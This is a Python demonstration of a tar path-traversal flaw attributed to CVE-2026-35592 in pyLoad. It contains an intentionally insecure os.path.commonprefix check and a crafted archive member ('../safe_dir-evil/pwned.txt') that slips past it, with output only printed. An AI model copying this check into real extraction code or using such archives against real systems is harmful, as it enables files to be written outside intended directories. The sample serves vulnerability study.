Vulnerable code sample

import os
import tarfile
import io
import tempfile
import shutil

# This code demonstrates a vulnerability similar to the one described in
# CVE-2026-35592 for pyLoad. It represents the vulnerable logic before
# the fix was applied.
# The core of the vulnerability is the use of `os.path.commonprefix` for
# path traversal checks, which is unsafe because it performs a character-by-character
# string comparison rather than a path-aware comparison.


def vulnerable_safe_extractall(archive, path):
    """
    This function represents the vulnerable _safe_extractall from pyLoad's UnTar.py.
    It uses the flawed `os.path.commonprefix` to validate extraction paths.
    """
    root = os.path.abspath(path)
    print(f"[*] Intended extraction root: {root}")
    print("-" * 30)

    for member in archive.getmembers():
        # Calculate the intended destination path for the member
        dest_path = os.path.abspath(os.path.join(root, member.name))

        # THE VULNERABLE CHECK
        # An attacker can craft a member name such that `dest_path` resolves to a
        # location outside of `root`, but `dest_path` still shares `root` as a
        # common string prefix.
        # Example:
        # root = "/tmp/data"
        # dest_path = "/tmp/data-evil/file.txt"
        # os.path.commonprefix(["/tmp/data", "/tmp/data-evil/file.txt"]) is "/tmp/data"
        # The check passes, but the path is outside the root directory.
        if os.path.commonprefix((root, dest_path)) != root:
            # This block should catch malicious paths, but it will fail to do so.
            print(f"[+] SKIPPED (as expected for safe path): {member.name}")
        else:
            # This block is incorrectly executed for the malicious path,
            # bypassing the security check.
            print(f"[!] VULNERABILITY TRIGGERED")
            print(f"    Member: '{member.name}'")
            print(f"    Final Path: '{dest_path}'")
            print(f"    -> The check passed because os.path.commonprefix found '{root}' as a prefix.")
            print(f"    -> The file would be written outside the intended directory.")


# --- Demonstration of the Exploit ---

# 1. Set up a temporary directory structure for the demonstration.
#    The names are chosen to facilitate the common prefix attack.
temp_base_dir = tempfile.mkdtemp()
extraction_root = os.path.join(temp_base_dir, "safe_dir")
os.makedirs(extraction_root, exist_ok=True)

# 2. Define the malicious path to be included in the tar archive.
#    When joined with `extraction_root`, this path will traverse up (`..`)
#    and then into a new directory that shares a common prefix with the original.
malicious_filename = os.path.join("..", "safe_dir-evil", "pwned.txt")

# 3. Create a malicious tar archive in memory.
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
    print(f"[*] Crafting tar archive with malicious member: '{malicious_filename}'")
    file_data = b"This file was written outside the safe directory."
    tarinfo = tarfile.TarInfo(name=malicious_filename)
    tarinfo.size = len(file_data)
    tar.addfile(tarinfo, io.BytesIO(file_data))
tar_buffer.seek(0)

# 4. Run the vulnerable extraction function and observe the bypass.
with tarfile.open(fileobj=tar_buffer, mode='r') as tar:
    vulnerable_safe_extractall(tar, extraction_root)

# 5. Clean up the temporary directories.
shutil.rmtree(temp_base_dir)